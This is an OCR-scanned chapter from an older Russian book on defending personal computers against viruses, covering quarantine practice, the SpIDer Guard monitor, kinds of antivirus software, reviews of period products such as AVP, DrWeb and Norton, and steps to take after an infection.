Проблема защиты путем "самоотсечения11 Единственное гарантированное средство против головной боли — это топор. Перенесенное в область компьютеров это выражение означает, что 100% гарантией от "вируса" является отключение (или не включение) компьютера. Ничего другого открытые системы без механизма защиты против "вирусов" предложить не могут. Таким образом, задача заключается в том, чтобы найти разумный компромисс между этими экстремальными требованиями. При этом ни в коем случае речь не идет о на хождении универсального пути, поскольку каждое конкретное приложение характешзуется собственными условиями. Основная проблема для пользователей ПЭВМ, возникающая в связи с появ лением компьютерных вирусов, состоит в том, как защитить свои программы и дан ные, не прибегая к самоизоляции. Практика показывает, что эта проблема вполне разрешима. Как и против биологических вирусов, для борьбы с компьютерными ви русами может применяться целый комплекс мер: технические, организационные, юридические. Поэтому наблюдаемая сейчас тенденция к самоизоляции представля ется автору совершенно неоправданной. Такое "сверхреагирование" в условиях на шей страны практически равносильно добровольному отказу от возможностей хоть как-то улучшить условия всей работы и повысить ее производительность. Учитывая недоступность для большинства программистов "фирменных" программных продук тов, оригинальных иностранных журналов, доступа к национальным сетям — всему тому, что является повседневностью для программиста в США и Западной Европе, обмен информацией на дискетах является, по сути, единственным способом полу чить информацию и хоть немного поднять собственный уровень. Потери данных в результате разрушительного действия компьютерных виру сов в настоящее время довольно редки и по частоте не превосходят случаев потерь данных из-за неисправности оборудования. Большинство случаев заражения про граммного обеспечения компьютерными вирусами не вызывали серьезных потерь данных или данные возможно было восстановить. В то же время сама возможность
339
Методы защиты таких потерь вызывает вполне понятную тревогу, поскольку хотя шансы попасть под разрушительную атаку вируса пока невелики, но они, к сожалению, увеличиваются по мере проникновения в страну новых типов и разновидностей вирусов. Кроме то го, каждый понимает, что такой атаке можно подвергнуться в самый неподходящий момент. Это беспокойство имеет свои положительные и отрицательные стороны. От рицательной стороной является то, что оно толкает пользователей к самоизоляции, когда они начинают бояться брать и пробовать интересующие их программы, хотя, как уже отмечалось выше, в наших условиях такой обмен информацией является ос новным методом повышения собственной производительности. Положительно то, что пользователи начинают уделять адекватное внимание созданию архивных копий своих данных, а также методам повышения надежности их хранения. Следует отме тить, что, хотя потеря содержимого дискеты, а тем более винчестера, способствует быстрой выработке привычки архивировать данные, это вряд ли можно называть приемлемым способом воспитания такой привычки и ее лучше прибрести заблагов ременно. В любом случае следует трезво оценивать опасность: переоценка не намно го лучше, чем недооценка.
Карантин В случае, когда программное обеспечение получено из сомнительного источ ника или не эксплуатировалось в том месте, откуда оно было передано, первые не сколько дней эксплуатацию полученного программного обеспечения полезно выполнять в карантинном режиме. В этом режиме целесообразно использовать ис кусственно ускоренный календарь, т.е. задавать при каждом следующем эксперимен те новый месяц и день недели. Это повышает вероятность обнаружения троянской компоненты, срабатывающей в определенный месяц или после истечения определен ного календарного отрезка времени. Вообще говоря, лучше всего иметь специально выделенный "карантинный" компьютер для подобного рода экспериментов. В этом компьютере все программное обеспечение полезно обработать, дописав в конец каждого файла специальную стро ку, например вида "***0-la-la-zdes-virus***". Дописывание таких концевых марке ров можно выполнить автоматически, составив пакетный файл. Их наличие облегчает последующий анализ программ, поскольку граница между вирусом, "сев шим" в конец программы, и файлом становится четко определенной. Конечно, это не исключает необходимости использования "джентльменского" набора антивирусных средств, включающего подходящий ревизор, сторож и сам о контролирующиеся про граммы-приманки. Резидентные сторожа следует использовать лишь периодически, поскольку вирус может распознавать присутствие таких средств и соответствующим образом менять свое поведение (на "карантинном" компьютере стоит задача обнару жить момент заражения, а не препятствовать размножению вируса). Если выделить карантинный компьютер не представляется возможным, то це лесообразно создать "карантинный режим" на одном из компьютеров, не содержащем особо ценных файлов или баз данных. Вход в карантинный режим должен выполнять ся с помощью специального имени пользователя, которому для записи доступен лишь
340
Методы защиты логический диск, и специальный "карантинный" раздел винчестера, а большинство остальных скрыто, либо имеют статус READ_ONLY. Хотя данное мероприятие явля ется весьма и весьма рискованным, поскольку многие вирусы особо не беспокоятся по поводу атрибутов. При этом для всех компонент операционной системы и некоторых утилит, используемых как "приманка" для вируса, следует записать в соответствую щий файл контрольные суммы, вычисленные подходящим ревизором (при его отсут ствии для этой цели можно использовать любой архиватор, например, RAR). Для древних компьютеров типа PC XT, имеющих меньше 1М оперативной памяти (зря смеетесь, два года назад я обзавелся 286 с 1М "апперетивной" памяти), рекомендуется организовать из части памяти достаточно большой электронный диск (скажем 250К), записать на него несколько часто используемых системных утилит и "погонять" эти утилиты. Возможно вирус "клюнет" и заразит одну из этих про грамм — в этом случае ревизор обнаружит несовпадение контрольных сумм и сооб щит о факте заражения. Преимущество использования электронного диска для таких экспериментов связано с тем, что его содержимое автоматически уничтожается при перезагрузке или выключении питания. Это обеспечивает дополнительную гаран тию, что из-за невнимательности или случайного стечения обстоятельств какая-ни будь зараженная в процессе экспериментов программа не останется на диске и затем не станет использоваться кем-нибудь другим.
Программы обнаружения изменений SpIDer Guard является резидентной, т.е. постоянно находящейся в памяти компьютера, антивирусной программой для среды MS Windows95/98. Программы этого типа принято называть сторожами. Spider перехватывает обращения к файлам и системным областям дисков и осуществляет их проверку на наличие вирусов "на лету". При обнаружении вируса SpIDer в автоматическом или полуавтоматическом (т.е. запрашивая пользователя о том, какие действия предпринять) режиме предпри нимает действия по обезвреживанию или блокированию вируса таким образом, что доступ к объекту разрешается только в том случае, если последний не содержит ви русов, т.е. либо вирусов в нем не обнаружено, либо удалось их обезвредить. Кроме того, Spider поддерживает специальный режим работы, в котором обна руживается и блокируется вирусная активность, т.е. попытки вирусов, в том числе не известных и даже неопределяемых эвристическим анализатором, заражать объекты на дисках компьютера. Для анализа объектов на вирусы SpIDer использует ту же вирус ную базу и то же ядро, что и традиционный сканер DrWeb. Еще в версии DrWeb 4.0 ос новная вирусная база была выделена в отдельный файл и подгружалась после старта программы аналогично файлам-дополнениям, что позволило решить проблему нехват ки основной памяти. Теперь в DrWeb32 произошло разделение программы на оболоч[ ку, ориентированную на работу в конкретной среде, и ядро, не зависящее от среды. Такая организация антивирусной программы позволяет: • использовать одни и те же файлы вирусной базы DrWeb для DOS, Windows 95/98/NT, OS/2, Novell Netware (именно такая совместимость обусловила одина ковую нумерацию версий для разных платформ);
Методы защиты 4 подключать ядро к различным оболочкам и приложениям, что дает возможность простой интеграции антивирусной проверки с многими прикладными задачами; 4" реализовать механизм автоматического пополнения вирусных баз и обновления версий оболочки и ядра через сеть Интернет. Загруженный резидентный сторож SpIDer не может быть отключен или вы гружен в течение всего текущего сеанса работы в MS Windows. Чтобы отключить ав томатическую загрузку SpIDer в следующем сеансе работы в Windows, необходимо убрать флажок (автоматически загружать SpIDer при старте Windows), расположенный во вкладке <Scan>, и завершить работу с панелью настро ек нажатием кнопки <Ок>. Группа переключателей <Scan on access mode> определяет, какие именно ти пы файловых операций подлежат перехвату "на лету", т.е. в каких случаях сторож дол жен проверять объекты, к которым происходит обращение. Можно либо установить это явно — переключателями (проверять программные файлы при за пуске и открываемые файлы) и (проверять создаваемые новые фай лы и существующие файлы при их изменении, записи в них) — либо выбрать режим Smart. В этом режиме при обращениях к файлам на локальных жестких дисках анти вирусная проверка выполняется только для файлов, в которые производится запись, в то время как файлы, открываемые только на чтение, в частности, при запуске про грамм, не проверяются. Файлы на сетевых дисках и сменных носителях в режиме Smart проверяются всегда — как при обращении к ним на запись, так и на чтение. Замечание. В данной бета-версии SpIDer перехват обращений к файлам на се тевых дисках обеспечивается только для стандартных сетевых клиентов Microsoft. Если используется другой сетевой клиент, например, Novell, то перехват обращений к файлам на сетевых дисках может не поддерживаться. Флажок позволяет включить (выключить) специаль ный режим работы SpIDer, который позволяет обнаруживать и блокировать попытки вирусов, в том числе неизвестных и даже неопределяемых эвристическим анализа тором, заражать файлы. При обнаружении вирусной активности имеется возмож ность запретить выполнение вызвавшей подозрения операции записи в файл. При этом, однако, следует иметь в виду, что в случае некоторых типов резидентных виру сов, файл может быть в результате разрушен. В процессе завершения сеанса работы в MS Windows 95/98 (ShutDown) SpIDer выполняет проверку загрузочного дисковода (А:), так как в случае, если в дисководе окажется зараженная загрузочным вирусом дискета, то это может пред ставлять опасность при следующей перезагрузке системы. Если сторож SpIDer наст роен на проверку открываемых файлов, то следует иметь в виду, что попытка проверки диска сканером DrWeb может привести к заметным потерям времени из-за двукратного сканирования одних и тех же объектов. Поэтому для одновременного использования обеих программ рекомендуется тщательно продумать систему наст роек на проверяемые объекты для каждой из них. 4 Проверяются архивы только типов ZIP, ARJ, RAR. 4 Не проверяются почтовые файлы, кодированные с помощью UUENCODE и MIME.
342
Методы защиты
Антивирусные программы Наиболее эффективны в борьбы с компьютерными вирусами антивирусные юграммы. Однако сразу хотелось бы отметить, что не существует антивирусов, га>антирующих стопроцентную защиту от вирусов, и заявления о существовании таих систем можно расценить, как либо недобросовестную рекламу, либо епрофессионализм. Таких систем не существует, поскольку на любой алгоритм анивируса всегда можно предложить контр-алгоритм вируса, невидимого для этого нтивируса (обратное, к счастью, тоже верно: на любой алгоритм вируса всегда мож но создать антивирус). Более того, невозможность существования абсолютного антиируса была доказана математически на основе теории конечных автоматов, автор оказательства — Фред Коэн. Следует также обратить внимание на несколько терминов, применяемых при бсуждении антивирусных программ: "Ложное срабатывание" (False positive) — детектирование вируса в незараженном объекте (файле, секторе или системной памяти). Обратный термин — "False negative", т.е. недетектирование вируса в зараженном объекте. "Сканирование по запросу" ("on-demand") — поиск вирусов по запросу польователя. В этом режиме антивирусная программа неактивна до тех пор, пока не бует вызвана пользователем из командной строки, командного файла или рограммы-р ас писания (system scheduler). "Сканирование в реальном времени налету" ("real-time", "on-the-fly") — потоянная проверка на вирусы объектов, к которым происходит обращение (запуск, ткрытие, создание и т.п.). В этом режиме антивирус постоянно активен, он присуттвует в памяти "резидентно" и проверяет объекты без запроса пользователя.
Какой антивирус лучше? Какой антивирус самый лучший? Ответ будет — "любой", если на вашем комьютере вирусы не водятся и вы не пользуетесь вирусо-опасными источниками инюрмации. Если же вы любитель новых программ, игрушек, ведете активную ерсписку по электронной почте и используете при этом Word или обмениваетесь аблицами Excel, то вам все-таки следует использовать какой-либо антивирус. Какой менно — решайте сами, однако есть несколько позиций, по которым различные анивирусы можно сравнить между собой. Качество антивирусной программы определяется, на мой взгляд, по следую щим позициям, приведенным в порядке убывания их важности: . Надежность и удобство работы — отсутствие "зависаний" антивируса и прочих технических проблем, требующих от пользователя специальной подготовки. . Качество обнаружения вирусов всех распространенных типов, сканирование вну три файлов-документов/таблиц (MS Word, Excel, Office97), упакованных и архи вированных файлов. Отсутствие "ложных срабатываний". Возможность лечения зараженных объектов. Для сканеров (см. ниже), как следствие, важной является
343
Методы защиты также периодичность появления новых версий (апдейтов), т.е. скорость настрой ки сканера на новые вирусы. 3. Существование версий антивируса под все популярные платформы (DOS, Windows, Windows95, Windows NT, Novell NetWare, OS/2, Alpha, Linux и т.д.), присутствие не только режима "сканирование по запросу", но и "сканирование на лету", существование серверных версий с возможностью администрирования се ти. Наиболее корректная работа антивирусной программы достигается под, пожа луй, самой известной платформой DOS. Поэтому, если у вас есть подозрение на зараженность, а вы работаете в Windows, то выйдите в режим эмуляции MS DOS и запустите досовскую версию вашего любимого антивируса. 4. Скорость работы и прочие полезные особенности, функции, "припарки" и "на вороты" . Надежность работы антивируса является наиболее важным критерием, по скольку даже "абсолютный антивирус" может оказаться бесполезным, если он будет не в состоянии довести процесс сканирования до конца — "повиснет" и не проверит часть дисков и файлов и, таким образом, оставит вирус незамеченным в системе. Если же ан тивирус требует от пользователя специальных знаний, то он также окажется бесполезным,т. к. большинство пользователей просто проигнорирует сообщения антивируса и нажмут [OK], [Cancel] или [Maybe] случайным образом, в зависимости от того, какая кнопка ближе и красивее. Ну а если программа антивирус будет чересчур часто зада вать сложные вопросы рядовому пользователю, то, скорее всего, он (пользователь) пе рестанет запускать такой антивирус или даже убьет его на корню кнопкой [Del]. Качество детектирования вирусов стоит следующим пунктом по вполне по нятной причине. Антивирусные программы потому и называются антивирусными, что их прямая обязанность — ловить и лечить вирусы. Любой самый "навороченный" по своим возможностям антивирус бесполезен, если он не в состоянии ловить виру сы или делает это не вполне качественно. Например, если антивирус не детектирует 100% какого-либо полиморфного вируса, то при заражении системы этим вирусом та кой антивирус обнаружит только часть (допустим 99%) зараженных на диске файлов. Необнаруженными останется всего 1%, но когда вирус снова проникнет в компьютер, то антивирус опять обнаружит 99%, но уже не от всех файлов, а только от вновь зара женных. В результате заражено на диске будет уже 1.99%. И так далее, пока все фай лы на диске не будут заражены при полном молчании антивируса. Поэтому качество детектирования вирусов является вторым по важности кри терием "лучшести" антивирусной программы, более важным, чем "многоплатформенность", наличие разнообразного сервиса и т.д. Однако если при этом антивирус с высоким качеством детектирования вирусов вызывает большое количество "ложных срабатываний", то его "уровень полезности" резко падает, поскольку пользователь вынужден либо уничтожать незараженные файлы, либо самостоятельно производить анализ подозрительных файлов, либо привыкает к частым "ложным срабатываниям", перестает обращать внимание на сообщения антивируса и в результате пропускает сообщение о реальном вирусе. "Многопйатформенность" антивируса является следующим пунктом в спис ке, поскольку только программа, рассчитанная на конкретную операционную систе-
344
у, может полиостью использовать функции этой системы. "Неродные" же антивиру сы часто оказываются неработоспособными, а иногда даже разрушительными. На пример, вирус "OneHalf' поразил компьютер с установленными на нем Windows95 или WindowsNT. Если для расшифрования диска (данный вирус шифрует сектора диска) воспользоваться DOS-антивирусом прямо из-под Windows, то результат мо жет оказаться плачевным: информация на диске окажется безнадежно испорченной, поскольку Windows 95/NT не позволит антивирусу пользоваться прямыми вызовами чтения/записи секторов при расшифровке секторов. Антивирус же, являющийся Windows-программой, справляется с этой задачей без проблем. м
Возможность проверки файлов "на лету" также является достаточно важной чертой антивируса. Моментальная и принудительная проверка приходящих на ком пьютер файлов и вставляемых дискет является практически 100%-й гарантией от за ражения вирусом, если, конечно, антивирус в состоянии детектировать этот вирус. Очень полезными являются антивирусы, способные постоянно следить за "здоровь ем" серверов — Novell NetWare, Windows NT, а в последнее время, после массового распространения макро-вирусов, и за почтовыми серверами, сканируя входящую/ис ходящую почту. Если же в серверном варианте антивируса присутствуют возмож ность антивирусного администрирования сети, то его ценность еще более возрастает. Следующим по важности критерием является скорость работы. Если на пол ную проверку компьютера требуется несколько часов, то вряд ли большинство поль зователей будут запускать его достаточно часто. При этом медленность антивируса совсем не говорит о том, что он ловит вирусов больше и делает это лучше, чем более быстрый антивирус. В разных антивирусах используются различные алгоритмы по иска вирусов, один алгоритм может оказаться более быстрым и качественным, дру гой -— медленным и менее качественным. Все зависит от способностей и профессионализма разработчиков конкретного антивируса. Кстати, в России только два антивирусных "предприятия" имеют государственную лицензию ГосТехКомисйи — Диалог-Наука и Лаборатория Касперского. Наличие всяческих дополнительных функций и возможностей стоит в списе качеств антивируса на последнем месте, поскольку очень часто эти функции ни как не сказываются на уровне "полезности" антивируса. Однако эти дополнительные )ункции значительно упрощают жизнь пользователя и, может быть, даже подталки вают его запускать антивирус почаще.
(
Типы антивирусов Самыми популярными и эффективными антивирусными программами явля ются антивирусные сканеры (другие названия: фаги, полифаги). Следом за ними по эффективности и популярности следуют CRC-сканеры (также: ревизор, checksumer, integrity checker). Часто оба приведенных метода объединяются в одну универсаль ную антивирусную программу, что значительно повышает ее мощность. Применяют ся также различного типа мониторы (блокировщики) и иммунизаторы.
345
Методы защиты Сканеры Принцип работы антивирусных сканеров основан на проверке файлов, секто ров и системной памяти, а также поиске в них известных и новых (неизвестных ска неру) вирусов. Для поиска известных вирусов используются так называемые "маски". Маской вируса является некоторая постоянная последовательность кода, специфичная для этого конкретного вируса. Если вирус не содержит постоянной ма ски, или длина этой маски недостаточно велика, то используются другие методы. Примером такого метода является алгоритмический язык, описывающий все возмож ные варианты кода, которые могут встретиться при заражении подобного типа виру сом. Такой подход используется некоторыми антивирусами для детектирования полиморфик-вирусов. Во многих сканерах используются также алгоритмы "эвристического скани рования", т.е. анализ последовательности команд в проверяемом объекте, набор не которой статистики и принятие решения ("возможно заражен" или "не заражен") для каждого проверяемого объекта. Поскольку эвристическое сканирование является во многом вероятностным методом поиска вирусов, то на него распространяются мно гие законы теории вероятностей. Например, чем выше процент обнаруживаемых ви русов, тем больше количество ложных срабатываний. Сканеры также можно разделить на две категории — "универсальные" и "спе циализированные". Универсальные сканеры рассчитаны на поиск и обезвреживание всех типов вирусов вне зависимости от операционной системы, на работу в которой рассчитан сканер. Специализированные сканеры предназначены для обезвреживания ограниченного числа вирусов или только одного их класса, например макро-вирусов. Специализированные сканеры, рассчитанные только на макро-вирусы, часто оказы ваются наиболее удобным и надежным решением для защиты систем документообо рота в средах MS Word и MS Excel. Сканеры также делятся на "резидентные", производящие сканирование "на лету", и "нерезидентные", обеспечивающие проверку системы только по запросу. Как правило, "резидентные" сканеры обеспечивают более надежную защиту системы, поскольку они немедленно реагируют на появление вируса, в то время как "нерези дентный" сканер способен опознать вирус только во время своего очередного запус ка. К достоинствам сканеров всех типов относится их универсальность, к недостаткам — размеры антивирусных баз, которые сканерам приходится "таскать за собой", и относительно небольшую скорость поиска вирусов.
CRC-сканеры Принцип работы CRC-сканеров основан на подсчете CRC-сумм (контроль ных сумм) для присутствующих на диске файлов/системных секторов. Эти CRC-суммы затем сохраняются в базе данных антивируса, как, впрочем, и некоторая другая информация: длины файлов, даты их последней модификации и т.д. При последую щем запуске CRC-сканеры сверяют данные, содержащиеся в базе данных, с реально подсчитанными значениями. Если информация о файле, записанная в базе данных, не совпадает с реальными значениями, то CRC-сканеры сигнализируют о том, что файл был изменен или заражен вирусом.
346
Методы защиты CRC-сканеры, использующие анти-стелс алгоритмы, являются довольно сильным оружием против вирусов; практически 100% вирусов оказываются обнару женными почти сразу после их появления на компьютере. Однако у этого типа анти вирусов есть врожденный недостаток, который заметно снижает их эффективность. Этот недостаток состоит в том, что CRC-сканеры не способны поймать вирус в мо мент его появления в системе, а делают это лишь через некоторое время, уже после того, как вирус разошелся по компьютеру. CRC-сканеры не могут определить вирус в новых файлах (в электронной почте, на дискетах, в файлах, восстанавливаемых из backup или при распаковке файлов из архива), поскольку в их базах данных отсутст вует информация об этих файлах. Более того, периодически появляются вирусы, которые используют эту "слабость" CRC-сканеров, заражают только вновь создавае мые файлы и остаются, таким образом, невидимыми для них. Мониторы Антивирусные мониторы — это резидентные программы, перехватывающие "вирусо-опасные" ситуации и сообщающие об этом пользователю. К "вирусо-опасным" относятся вызовы на открытие для записи в выполняемые файлы, запись в юо1-сектора дисков или MBR винчестера, попытки программ остаться резидентно и т.д., то есть вызовы, которые характерны для вирусов в моменты из размножения. К достоинствам мониторов относится их способность обнаруживать и блокиювать вирус на самой ранней стадии его размножения, что, кстати, бывает очень поезно в случаях, когда давно известный вирус постоянно "выползает неизвестно ткуда". К недостаткам относятся существование путей обхода защиты монитора и ольшое количество ложных срабатываний, что, видимо, и послужило причиной для практически полного отказа пользователей от подобного рода антивирусных про грамм (мне, например, неизвестно ни об одном мониторе для Windows95/NT — нет спроса, нет и предложения). Необходимо также отметить такое направление антивирусных средств, как антивирусные мониторы, выполненные в виде аппаратных компонентов компьютера '"железа"). Наиболее распространенной является встроенная в BIOS защита от запи си в MBR винчестера. Однако, как и в случае с программными мониторами, такую защиту легко обойти прямой записью в порты контроллера диска, а запуск DOS-ути литы FD1SK немедленно вызывает "ложное срабатывание" защиты. Существует несколько более универсальных аппаратных мониторов, но к пе речисленным выше недостаткам добавляются также проблемы совместимости со стандартными конфигурациями компьютеров и сложности при их установке и настюйке. Все это делает аппаратные мониторы крайне непопулярными на фоне осталь ных типов антивирусной защиты. 1ммунизаторы Иммунизаторы делятся на два типа: иммунизаторы, сообщающие о заражеии, и иммунизаторы, блокирующие заражение каким-либо типом вируса. Первые 4HO записываются в конец файлов (по принципу файлового вируса) и при запус тила каждый раз проверяют его на изменение. Недостаток у таких иммунизатовсего один, но он летален: абсолютная неспособность сообщить о заражении
t
Методы защиты стел с-вирусом. Поэтому такие иммунизаторы, как и мониторы, практически не ис пользуются в настоящее время. Второй тип иммунизации защищает систему от поражения вирусом какого-то определенного вида. Файлы на дисках модифицируются таким образом, что вирус принимает их за уже зараженные (пример — печально известная строка "MsDos", предохраняющая от ископаемого вируса "Jerusalem"). Для защиты от резидентного вируса в память компьютера заносится программа, имитирующая копию вируса. При запуске вирус натыкается на нее и считает, что система уже заражена. Такой тип иммунизации не может быть универсальним, поскольку нельзя им мунизировать файлы от всех известных вирусов: одни вирусы считают уже заражен ными файлы, если время создания файла содержит метку 62 секунды, а другие — 60 секунд. Однако несмотря на это, подобные иммунизаторы в качестве полумеры мо гут вполне надежно защитить компьютер от нового неизвестного вируса вплоть до того момента, когда он будет определяться антивирусными сканерами.
Антивирусные программы, наиболее известные в России ADINF Адрес: Диалог-Наука. Москва, ул. Вавилова 40 Телефон: (095) 137-01-50 WWW: http://www.dials.ccas.ru Прекрасный DOS-ревизор с хорошо отлаженными и продуманными антистелс режимами. Однако помимо врожденных недостатков всех CRC-сканеров име ет ряд своих: •
неспособность сканировать файлы-документы (Word и Excel) делает его бессиль ным против наиболее распространенного типа вирусов (макро-вирусы);
• •
отсутствие полноценных He-DOS-версий; интерфейс скорее перегружен, чем дружествен к пользователю. Все эти недостатки, видимо, явились причиной того, что в целом очень не плохой ревизор ADINF практически так и не вышел за границы России и имеет за ее пределами очень небольшое число пользователей. Ну и зря, очень хороший антиви рус под DOS.
AIDSTEST Фирма-распространитель: см. ADINF. Популярность AIDSTEST'a сегодня можно объяснить лишь крайним консер ватизмом отечественных пользователей. Из необходимых антивирусным програм мам качеств AIDSTEST'y присущи лишь надежность и неплохая скорость работы. Он абсолютно бессилен против большинства современных вирусов (макро- и полиморфик-вирусов) и к тому же не имеет эвристического сканера и He-DOS-версий. К сожалению, обладает маленькой вирусной базой.
348
Методы защиты Это, однако, не умаляет его прошлых заслуг: на протяжении нескольких лет AIDSTEST достойно отражал вирусные атаки на тысячах компьютеров российских пользователей. AVP Адрес: "Лаборатория Касперского", Москва, ул. Героев Панфиловцев 10. Телефон: (095) 948-4331 (095) 241-74-82 WWW: http://www.avp.ru, http://www.viruslist.com Один из самых надежных, мощных и дорогих антивирусов в мире. За три го да стал популярным не только в России, но и за ее пределами. Известен в основном в корпоративных кругах. Недостатки: неэстетичная DOS версия; отсутствие сканиро вания "налету" в версиях для Windows и OS/2; отсутствие встроенного CRC-сканера; по сравнению с зарубежными аналогами недостаточно развиты дополнительные вкусности". Хотя, на мой взгляд, антивирус не должен быть навороченным. rWeb Фирма-распространитель: см. ADINF. Очень неплохая, перспективная и очень популярная антивирусная програм ма, имеющая все необходимые для современного сканера функции поиска и лечения вирусов. Универсальная программа. В комплект поставки входят: собственно поли)аг, программа отслеживания изменений в системе (Spider), встроенный мощный эвристический сканер. К сожалению, наблюдается большое число ложных срабаты ваний. К недостаткам относятся ненадежность в работе (зависания) в версиях для Windows и OS/2. В результате так же, как и другой российский антивирус ADINF, DrWeb до сих пор практически не представлен на западном рынке и является чисто эоссийской программой. Вот где за державу не обидно! NAV (Symantec) Телефон: (095) 238-38-^2 WWW:http ://www.symantec.com По объему продаж — второй антивирус в мире (после SCAN). Почем зря. По качеству распознавания вирусов — весьма средняя программа. Вызывает ложные срабатывания. По остальным пунктам, кроме программной наглости (лезет не в свои дела), замечаний не имеет. Удобный пользовательский интерфейс, большое количе ство дополнительных функций, версии под все популярные платформы. Из-за недостаточно качественного определения вирусов пользователи NAV часто попадают в ситуацию, когда для обнаружения и лечения вируса им приходит ся обращаться к антивирусным продуктам других фирм. SCAN (McAfee) Телефон: (095) 956-44-41
о
WWW: http://www.mcafee.ru
тоже, что и NAV, но имеет лучшие показатели по качеству обнаружения вирусов. Отличительной чертой SCAN является наличие shareware-версий, которые :ожно получить на WWW и BBS.
349
Методы защиты Следует остерегаться информации от McAfee (особенно рекламной), часто в ней присутствуют заведомо искаженные факты.
V1RUSAFE (Eliashim) Фирма-распространитель: Прикладная Логистика Телефон: (095) 955-53-72 Посредственный антивирус, основной отличительной чертой которого явля ется напористость и заведомая некорректность рекламной политики, проводимой российским представительством фирмы.
Другие антивирусные программы К антивирусам, которые зарекомендовали себя как достаточно надежные ска неры, можно отнести AVAST (Avil Software, Чехословакия), Dr.Solomon's AVTK ("Anti-Virus Toolkit", S&S International, Великобретания), NVC ("Norman Virus Control", Norman pic, Норвегия). Эти три программы вместе с AVP в последние годы показывают стабильно высокие результаты во всех антивирусных тестах. Неплохим сканером является также IBM Anti-Virus. За ними следуют F-PROT (Frisk Software, Исландия) и TBAV ("Thunderbyte Anti-Virus", ESaSS, Нидерланды). Эти две программы являются, пожалуй, наиболее мощными и популярными в мире шароварными (бесплатными) сканерами. Нельзя не отметить антивирус SWEEP (Sophos pic, Великобретания). Имея не очень высокий уровень детектирования вирусов, и не обладая такими необходимы ми фунциями, как лечение вирусов, эвристический сканер и т.д., SWEEP, тем не ме нее, является антивирусом с самым широким охватом платформ — от DOS до Alpha-компьютеров и Banyan Network.
Методика использования антивирусных программ Следите за тем, чтобы антивирусные программы, используемые для провер ки, были самых последних версий. Если к программам поставляются апдейты, то проверьте их на "свежесть". Обычно выход новых версий антивирусов анонсирует ся, поэтому достаточно посетить соответствующие WWW/ftp/BBS. He обращайте внимания на надписи самих антивирусов типа: Ваша версия антивирусной програм мы устарела, пожалуйста, обратитесь за версией новой по адресу... Эта надпись пре дусмотрена изначально, будь то хоть самый новый антивирус. "Национальность" антивирусов в большинстве случаев не имеет значения, поскольку на сегодняшний день процесс эмиграции вируса в другие страны и эмиг рации антивирусных программ ограничивается только скоростью Internet, поэтому как вирусы, так и антивирусы не признают границ. Если на компьютере обнаружен вирус, то самое главное — не паниковать (тем, для кого "встреча" с вирусом — вполне обыденное явление, такая рекоменда ция может показаться смешной). Паника никогда не доводила до добра: непродуман ные действия могут привести к печальным последствиям.
350
Методы защиты Если вирус обнаружен в каком-то из новых файлов и еще не проник в систе му, то нет причин для беспокойства: убейте этот файл или удалите вирус любимой ан тивирусной программой, и спокойно работайте дальше. В случае обнаружения вируса сразу в нескольких файлах на диске или в загрузочном секторе, то проблема становит ся более сложной, но все равно разрешимой — антивирусники не зря едят свой хлеб. Следует еще раз обратить внимание на термин "ложное срабатывание". Если в каком-либо ОДНОМ файле, который достаточно долго "живет" на компьютере, ка кой-либо один антивирус обнаружил вирус, то это скорее всего ложное срабатыва ние. Если такой файл запускался несколько раз, а вирус так и не переполз в другие )айлы, то это крайне странно. Попробуйте проверить файл другими антивирусами. Если они хранят молчание, отправьте этот файл в лабораторию фирмы-производите ля антивируса, обнаружившего в нем вирус. Если же на компьютере действительно найден вирус, то надо сделать сле дующее: 1. В случае обнаружения файлового вируса, если компьютер подключен к се ти, необходимо отключить его от сети и проинформировать системного администра тора. Если вирус еще не проник в сеть, это защитит сервер и другие рабочие станции от проникновения вируса. Если же вирус уже поразил сервер, то отключение от сети не позволит ему вновь проникнуть на компьютер после его лечения. Подключение к сети возможно лишь после того, как будут вылечены все сервера и рабочие станции. При обнаружении загрузочного вируса отключать компьютер от сети не следует: ви русы этого типа по сети не распространяются (естественно, кроме файл о во-загрузоч ных вирусов), но на всякий случай отключите. Если произошло заражение макро-вирусом, вместо отключения от сети до статочно на период лечения убедиться в том, что соответствующий редактор (Word/Excel) неактивен ни на одном компьютере. 2. Если обнаружен файловый или загрузочный вирус, следует убедиться в том, что вирус либо нерезидентный, либо резидентная часть вируса обезврежена: при запуске некоторые (но не все) антивирусы автоматически обезвреживают рези дентные вирусы в памяти. Удаление вируса из памяти необходимо для того, чтобы остановить его распространение. При сканировании файлов антивирусы открывают их, многие из резидентных вирусов перехватывают это событие и заражают открываемые файлы. В результате большая часть файлов окажется зараженной, поскольку вирус не удален из памяти. То же может произойти и в случае загрузочных виру сов — все проверяемые дискеты могут оказаться зараженными. Если используемый антивирус не удаляет вирусы из памяти, следует переза грузить компьютер с заведомо незараженной и защищенной от записи системной Дискеты. Перезагрузка должна быть "холодной" (клавиша Reset или выключе ние/включение компьютера), так как некоторые вирусы "выживают" при теплой пе резагрузке. Некоторые вирусы используют приемы, позволяющие им "выжить" и при холодной перезагрузке (см., например, вирус "Ugly"), поэтому также следует прове рить в настройках BIOS пункт "последовательность загрузки А: С:", чтобы гаранти ровать загрузку DOS с системной дискеты, а не с зараженного винчестера.
Методы защиты Помимо резидентноети/нерезидентности полезно ознакомиться и с другими характеристиками вируса: типами заражаемых вирусом файлов, проявлениями и прочее. Единственные известные мне источники подробной информации данного ро да практически обо всех известных вирусах — "Энциклопедия вирусов AVP" и вирлист DrWeb'a. В первом красивее, во втором проще искать. 3. При помощи антивирусной программы нужно восстановить зараженные файлы и затем проверить их работоспособность. Перед лечением или одновременно с ним создать резервные копии зараженных файлов и распечатать или сохранить гделибо список зараженных файлов (log-файл антивируса). Это необходимо для того, чтобы восстановить файлы, если лечение окажется неуспешным из-за ошибки в ле чащем модуле антивируса, либо по причине неспособности антивируса лечить дан ный вирус. В этом случае придется прибегнуть к помощи какого-либо другого антивируса. Гораздо надежнее, конечно, восстановить зараженные файлы из backup-копии (если она есть), однако все равно потребуются услуги антивируса — вдруг не все ко пии вируса окажутся уничтожены, или если файлы в backup-копии также заражены. Следует отметить, что качество восстановления файлов многими антивирус ными программами оставляет желать лучшего или вообще ничего не оставляют. Многие популярные антивирусы частенько необратимо портят файлы вместо их ле чения. Поэтому если потеря файлов нежелательна, то выполнять перечисленные вы ше пункты следует в полном объеме. В случае загрузочного вируса необходимо проверить все дискеты независимо от того, загрузочные они (т.е. содержат файлы DOS) или нет. Даже совершенно пус тая дискета может стать источником распространения вируса — достаточно забыть ее в дисководе и перезагрузить компьютер (если, конечно же, в BIOS Setup загрузоч ным диском отмечен флоппи-диск). Помимо перечисленных выше пунктов необходимо обращать особое внимание на чистоту модулей, сжатых утилитами типа LZEXE, PKLITE или DIET, файлов в ар хивах (ZIP, ARC, ICE, 